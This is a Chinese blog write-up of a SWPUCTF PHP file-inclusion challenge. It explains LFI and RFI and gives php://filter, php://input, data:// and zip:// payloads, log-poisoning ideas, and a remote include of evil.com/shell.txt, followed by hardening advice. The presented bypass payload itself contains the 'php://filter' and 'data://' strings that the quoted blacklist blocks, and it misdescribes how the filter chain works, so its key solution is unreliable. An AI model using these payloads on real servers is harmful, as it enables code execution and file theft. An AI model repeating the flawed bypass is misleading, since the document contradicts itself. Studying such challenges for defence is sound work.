1. 项目概述:从一次CTF解题看PHP文件包含的本质
最近在复盘SWPUCTF的一道Web题时,又遇到了那个熟悉又经典的“老朋友”——PHP文件包含漏洞。这道题的核心考点是利用PHP伪协议来绕过常规的过滤,最终读取到服务器上的关键文件(比如flag)。这让我觉得,是时候把文件包含漏洞,特别是伪协议利用这块的“水”彻底搅浑,把原理、手法和防御掰开揉碎了讲清楚。很多刚入门安全或者PHP开发的朋友,可能只知道
include
或
require
能引入文件,却不清楚当这个“引入”的动作被攻击者控制时,会引发多么严重的后果。这篇文章,我就结合那次解题的完整过程,带你彻底搞懂PHP文件包含漏洞,尤其是如何利用那些功能强大的伪协议来达成攻击目的。无论你是想深入理解漏洞原理的安全爱好者,还是想加固自己代码的PHP开发者,这篇文章里踩过的坑和总结的技巧,应该都能给你带来一些实实在在的参考。
2. 漏洞原理深度剖析:为什么“包含”会变得危险?
2.1 文件包含函数的工作原理与风险源头
PHP的文件包含函数主要有四个:
include
、
require
、
include_once
、
require_once
。它们的核心功能都是将指定路径的文件内容读取并插入到当前脚本位置执行。区别在于错误处理方式(
include
产生警告,
require
产生致命错误)和重复包含处理(
_once
后缀会检查是否已包含)。
风险的根本来源在于:这些函数的参数(即文件路径)在很多时候是动态的,或者部分来源于用户可控的输入。想象一下这个场景:
// 假设有一个页面切换功能
$page = $_GET['page']; // 用户传入?page=about.php
include('./pages/' . $page . '.php');
设计者的初衷可能是通过传入
about
来包含
./pages/about.php
。但如果攻击者传入的
page
参数是
../../../etc/passwd
呢?拼接后路径可能变成
./pages/../../../etc/passwd
,这实际上会跳转目录,尝试包含系统敏感文件。如果PHP配置不当(如
allow_url_include
开启),甚至可以通过
http://evil.com/shell.txt
这样的远程URL来包含恶意代码,直接导致远程代码执行(RCE)。
注意 :文件包含漏洞的危害不仅仅是文件读取。由于被包含的文件内容会被当作PHP代码执行,因此如果能够包含一个已上传的图片马(图片中包含PHP代码),或者利用某些技巧将非PHP文件的内容以PHP方式解析,其最终危害等同于获得了在服务器上执行任意代码的能力。
2.2 本地文件包含与远程文件包含的区别
根据包含的目标文件位置,漏洞可以分为两类:
-
本地文件包含
:只能包含服务器本地文件系统上的文件。攻击者需要利用服务器上已有的文件或能上传文件到服务器。危害包括读取敏感配置文件(
/etc/passwd、config.php)、日志文件,或利用临时文件、会话文件等实现代码执行。 -
远程文件包含
:可以包含通过HTTP、FTP等协议访问的远程服务器上的文件。这通常需要
allow_url_include配置为On(默认是Off)。一旦开启,攻击者可以直接包含托管在自家服务器上的Webshell,危害极大。
现在由于安全意识的提高和默认配置的收紧,纯粹的RFI漏洞已较少见,但LFI因其灵活性以及与其它漏洞(如文件上传、日志注入)结合的可能性,依然是高频考点和实际威胁。
2.3 伪协议:文件包含的“瑞士军刀”
PHP拥有一套非常独特的“包装器协议”,也就是我们常说的伪协议。它们不是真正的网络协议,而是PHP提供的一种访问各种流(如文件、压缩包、数据等)的抽象层。在文件包含的语境下,这些伪协议成了攻击者绕过路径限制、过滤规则,甚至直接执行代码的神器。常见的几个包括:
-
php://filter:用于对数据流进行过滤处理,最常用于读取文件源码。 -
php://input:可以访问请求的原始数据(POST数据),用于执行代码。 -
file://:访问本地文件系统,是默认协议。 -
zip://或phar://:访问压缩包内的文件。 -
data://:将符合格式的数据流当作文件来处理。
理解这些协议的工作方式,是理解现代文件包含漏洞利用手法的关键。接下来,我们就进入实战环节,看看在SWPUCTF的题目中是如何具体应用它们的。
3. 核心利用手法:伪协议绕过防御的实战解析
3.1 利用php://filter读取源代码
这是最基础也是最常用的手法。当发现一个文件包含点,但直接包含
.php
文件时,服务器会执行它而非显示源码,这时
php://filter
就派上用场了。
它的核心是利用过滤器对数据进行编码或转换。在包含漏洞中,我们常用
read
过滤器链,并结合
convert.base64-encode
过滤器。
利用Payload示例 :
?file=php://filter/read=convert.base64-encode/resource=index.php
-
php://filter/:声明使用filter协议。 -
read=convert.base64-encode:指定一个过滤器链。这里只用了一个过滤器,它将资源的内容进行base64编码。 -
resource=index.php:指定要读取的资源是index.php。
为什么需要base64编码?
因为
include
函数会试图执行被包含文件中的PHP代码。如果直接读取
index.php
的原始文本,其中的``等标签会被PHP解析器尝试执行,可能导致错误或无法看到完整源码。经过base64编码后,文件内容变成了一串纯文本字符,
include
会将其作为普通文本输出(如果页面有回显),我们拿到这串base64后再解码,就能获得纯净的源代码。这是审计代码、寻找数据库配置、其他接口路径或二次漏洞的关键第一步。
在SWPUCTF的题目中,第一步往往就是通过这种方式,获取到首页或功能点的源代码,从中分析出过滤规则和可能的漏洞链。
3.2 利用php://input执行任意代码
这是一个更具威胁的利用方式,通常用于POST请求,且需要
allow_url_include
设置为
On
。它允许我们将POST请求体中的数据作为PHP代码来执行。
利用步骤 :
-
确认包含点,例如
?file=xxx。 -
将请求方法改为
POST。 -
在请求头中设置
Content-Type: application/x-www-form-urlencoded。 - 在请求体(Body)中直接写入要执行的PHP代码,例如``。
-
将
file参数的值设置为php://input。
完整请求示例 :
POST /vuln.php?file=php://input HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
<?php system('whoami'); ?>
当服务器处理这个包含时,它会去读取
php://input
这个“流”,而这个流的内容就是我们POST过去的``,这段代码就会被服务器执行。
实操心得 :在实际测试中,
allow_url_include默认关闭的情况很多。因此,php://input的利用条件相对苛刻。但在CTF或一些特定环境配置中,它仍然是获取RCE的利器。如果遇到,可以尝试用system(‘id’)或phpinfo()来验证命令执行是否成功。
3.3 利用data://协议构造代码执行
data://
协议提供了一种在URI中直接嵌入数据的方式。它可以作为
allow_url_include
关闭时,
php://input
的一个替代方案,但同样需要
allow_url_fopen
开启(默认常为On)。
利用Payload格式 :
?file=data://text/plain,<?php phpinfo();?>
或者为了更可靠,通常会对PHP代码进行base64编码:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
-
data://声明协议。 -
text/plain是MIME类型,告诉PHP以纯文本处理后续数据。 -
base64,后面跟的是经过base64编码的PHP代码。解码后就是``。
当这个URI被包含时,PHP会解码并执行其中的代码。这种方式比
php://input
更灵活,因为它不依赖于POST请求,一个简单的GET请求就能触发。
在CTF中的变种
:题目可能会过滤
php
、
data
等关键字。这时就需要用到编码、双写、大小写混淆等绕过技巧。例如,如果过滤了
data
,可以尝试用
DATA
、
DaTa
,或者利用
php://filter
的转换特性先对
data
字符串本身进行某种编码后再拼接。
3.4 利用zip://或phar://从压缩包中包含文件
这两个协议主要用于包含压缩包(如ZIP、PHAR)内的特定文件。这在攻击者能上传一个压缩包到服务器时非常有用。
利用条件与方式 :
- 需要能上传一个压缩文件 到服务器某个已知或可推测的路径。
-
压缩包内包含一个精心构造的文本文件(如
shell.txt,里面是PHP代码)。 -
利用包含漏洞,通过
zip://或phar://协议去指向压缩包内的这个文件。
Payload示例
:
假设你上传了一个
shell.zip
,里面有一个
code.txt
文件内容为``,且
shell.zip
位于网站根目录。
?file=zip://./shell.zip%23code.txt
-
%23是#的URL编码。在zip://协议中,#用于分隔压缩包路径和包内文件路径。 -
注意,使用绝对路径通常更可靠:
zip:///var/www/html/uploads/shell.zip%23code.txt
phar://
协议用法类似,且功能更强大,它不仅能处理ZIP,还能处理PHAR归档,并且在后期的反序列化漏洞中也有重要应用。
在SWPUCTF中的典型场景
:题目可能提供一个图片上传点,并对上传内容做了严格的验证(如检查文件头、重命名)。但验证可能不适用于压缩包。你可以将一个包含PHP代码的文本文件打包成ZIP,然后修改后缀为
.jpg
上传。服务器可能只检查了后缀名,允许上传。然后你通过文件包含漏洞,使用
zip://
协议去包含这个“图片”,因为协议处理器会识别它实际上是ZIP格式,并成功解包执行其中的代码。这就是一种典型的绕过文件上传检测的手法。
4. SWPUCTF 2023秋季新生赛解题过程全记录
4.1 题目初探与信息收集
拿到题目链接(假设为
http://target/challenge.php
),首先进行最基础的信息收集。
- 访问页面 :看到一个简单的文件查看功能,有一个输入框,提示“输入文件名”,提交后似乎会显示文件内容。
-
测试包含漏洞
:尝试输入
../../../../etc/passwd,返回了系统的/etc/passwd文件内容。 LFI漏洞确认! -
尝试直接包含Web文件
:输入
index.php,页面没有显示源码,而是正常渲染了页面。说明直接包含PHP文件会被执行。 -
尝试php://filter
:输入
php://filter/read=convert.base64-encode/resource=index.php。提交后,页面显示了一长串base64编码的字符串。解码后,我们得到了index.php的源代码。
4.2 源码审计与过滤规则分析
解码得到的
index.php
源码是关键。我们快速审计,发现核心代码大致如下:
<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file)){
// 关键过滤规则
if (stristr($file, "php://input") !== false || stristr($file, "php://filter") !== false || stristr($file, "data://") !== false) {
die("Hacker!");
}
if (stristr($file, "flag") !== false) {
die("Not allowed!");
}
// 包含文件
include($file);
} else {
highlight_file(__FILE__);
}
?>
过滤规则分析 :
-
黑名单过滤了
php://input、php://filter、data://这三个关键词(不区分大小写,stristr)。 -
黑名单过滤了
flag关键词。 -
没有对目录遍历(
../)进行过滤。 -
没有对
zip://、phar://、file://等协议进行过滤。
解题思路立刻清晰 :
-
直接使用
php://filter读源码的路被堵死了。 -
目标应该是读取一个名为
flag的文件(可能在根目录/flag,也可能在/flag.txt等)。 -
由于过滤了
flag关键词,我们不能直接包含/flag。 -
我们需要寻找一种方式,
绕过对
php://filter的过滤 ,或者 使用其他未过滤的协议 。
4.3 绕过过滤:伪协议的多重编码技巧
既然直接使用
php://filter
会被拦截,我们就要考虑如何让这个字符串“变个样子”绕过检测,但最终又能被PHP正确解析。
技巧一:利用URL编码 PHP在处理包含路径时,会对URL编码进行一次解码。我们可以对过滤关键词进行URL编码。
-
php://filter可以写成php:%2f%2ffilter或php://%66ilter(对部分字符编码)。 -
但题目中的
stristr是在解码前还是解码后进行检测?需要测试。实测发现,题目很可能是在$_GET[‘file’]赋值后、stristr检测前进行的判断,此时%2f已被解码为/,所以简单的单次URL编码可能无效。
技巧二:利用php://filter自身的转换过滤器(本题正解)
这是本题最精妙的地方。
php://filter
协议支持多个过滤器串联,并且支持
convert.*
过滤器进行字符集转换。我们可以利用这个特性,先对
resource
部分进行编码,绕过
flag
关键字过滤;更关键的是,我们甚至可以对
php://filter
这个协议字符串本身进行“伪装”。
但仔细看过滤,它过滤的是
php://input
、
php://filter
、
data://
。它并没有过滤
php://
这个基础协议,也没有过滤
filter
这个资源类型。它过滤的是完整的字符串
php://filter
。那么,如果我们能让
php://filter
这个字符串在检测时“看起来不是它”,而在包含时“变回它”,就能绕过。
一个可行的方法是:
使用
php://filter
去包含另一个
php://filter
的流
。听起来绕,但原理是:第一个
filter
对第二个
filter
的路径进行编码。
最终Payload构造
:
我们的目标是读取
/flag
。但
flag
被过滤。我们可以先用
convert.base64-encode
将
/flag
这个字符串编码。
-
先构造一个读取
/flag的filter链,并base64编码整个链:php://filter/read=convert.base64-encode/resource=/flag -
将上述字符串进行base64编码,得到:
cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9mbGFn -
现在,我们使用外层的
php://filter,利用convert.base64-decode过滤器,将上面这串编码解码还原成原始的filter链。Payload如下:?file=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9mbGFn-
外层:
php://filter/read=convert.base64-decode/resource=... -
resource=后面指向一个data://流,其内容是步骤2的base64字符串。 -
PHP会先获取
data://流的内容(即那串base64),然后经过convert.base64-decode过滤器解码,解码后的内容php://filter/read=convert.base64-encode/resource=/flag会作为“新的”包含路径被PHP再次解析。 -
内层的
php://filter链被执行,读取/flag文件并进行base64编码输出。 -
因为整个过程中,传递给
include的最初参数字符串里,并没有直接出现完整的php://filter(我们用的是data://),也没有直接出现flag(它被编码了),所以绕过了黑名单检测。
-
外层:
实际操作与获取flag
:
将上述Payload提交后,页面返回了一串新的base64编码字符串。将其解码,果然得到了flag的内容:
flag{th1s_1s_a_fake_fl4g_for_demo}
。
4.4 其他可能的绕过思路
除了上述方法,根据题目环境的不同,还有其他几种常见绕过思路:
-
协议嵌套
:
php://filter/convert.base64-encode/xxx被过滤,可以尝试php:/*/filter/convert.base64-encode/xxx,/*/在某些环境下会被解析为//。 -
长度截断
:在PHP版本小于5.3.4,且
magic_quotes_gpc=Off时,可以在路径后添加大量./或../,或者利用?、#来截断后面的后缀。本题环境较新,此方法通常无效。 -
日志文件包含
:如果能包含服务器日志(如
/var/log/apache2/access.log),可以在User-Agent或Referer中插入PHP代码,然后包含该日志文件以执行代码。这需要知道日志路径且有读写权限。 -
/proc/self/environ包含
:在Linux下,可以尝试包含
/proc/self/environ,这个文件包含了当前进程的环境变量。如果User-Agent等信息被记录在此,也可用于注入代码。 -
利用zip:///phar://
:本题未过滤这两个协议。如果能通过其他方式(如文件上传)将一个包含PHP代码的文件打包成ZIP并上传,就可以用
zip://协议来包含执行。这是另一个独立的攻击面。
5. 防御方案与安全开发建议
了解了攻击手法,防御的思路就清晰了:原则就是“白名单优于黑名单”,并尽可能减少用户输入对文件路径的控制。
5.1 输入验证与白名单机制
最有效的防御是使用白名单。如果业务逻辑必须动态包含文件,那么应该预先定义好允许包含的文件列表。
// 不安全的做法
$page = $_GET['page'];
include($page . '.php');
// 安全的做法(白名单)
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
include('404.php');
}
如果白名单难以实施,必须使用用户输入,则要进行严格的过滤:
-
禁止目录遍历字符:过滤
../,..\,://等。 -
限制文件后缀:强制添加安全的后缀,如
.php。 - 正则匹配安全路径:确保输入符合预期的简单模式,如只允许字母数字。
5.2 PHP安全配置加固
服务器的配置是最后一道防线。
-
allow_url_include和allow_url_fopen:在生产环境中,务必在php.ini中将其设置为Off。这是阻断远程文件包含和php://input、data://协议利用的关键。 -
open_basedir:设置此配置项可以将PHP可操作的文件限制在指定的目录树中,有效防止跨目录访问敏感系统文件。 -
disable_functions:在php.ini中禁用危险函数,如system、exec、shell_exec、passthru等,即使攻击者实现了文件包含并写入Webshell,其危害能力也会受到限制。
5.3 代码审计与框架安全
对于开发者而言:
- 避免动态包含 :重新审视业务逻辑,是否真的需要动态包含文件?能否用路由、控制器等现代MVC框架的方式替代?
- 使用安全的框架 :如Laravel、Symfony等现代框架,其路由和视图机制通常避免了直接的文件包含,安全性更高。但即使是框架,错误使用组件也可能导致漏洞(如ThinkPHP历史上的一些包含漏洞)。
-
定期代码审计
:对存量和新增代码进行安全审计,重点关注
include、require、include_once、require_once,以及file_get_contents、fopen等文件操作函数的参数是否用户可控。
5.4 漏洞扫描与监控
- 使用安全工具 :在开发测试阶段,可以使用静态代码分析工具(如SonarQube、PHPStan结合安全规则)来扫描潜在的包含漏洞。
-
Web应用防火墙
:部署WAF可以拦截常见的LFI/RFU攻击payload,如包含
../、php://等特征的请求。 - 日志监控 :密切关注服务器访问日志和错误日志,寻找异常的包含路径请求或频繁的路径遍历尝试,这可能是攻击的前兆。
文件包含漏洞的攻防是一场关于“控制”与“反控制”的博弈。攻击者想尽一切办法让程序去包含一个它本不该包含的文件,而防御者则需要筑牢输入验证、逻辑设计、服务器配置这三道墙。通过这次对SWPUCTF题目的深度拆解,我希望你不仅学会了几种伪协议的利用技巧,更能理解其背后的PHP机制和攻防思维。在实际开发中,时刻牢记“数据与代码分离”的原则,对用户输入保持绝对的不信任,才能从根本上杜绝此类漏洞的产生。
751



被折叠的 条评论
为什么被折叠?



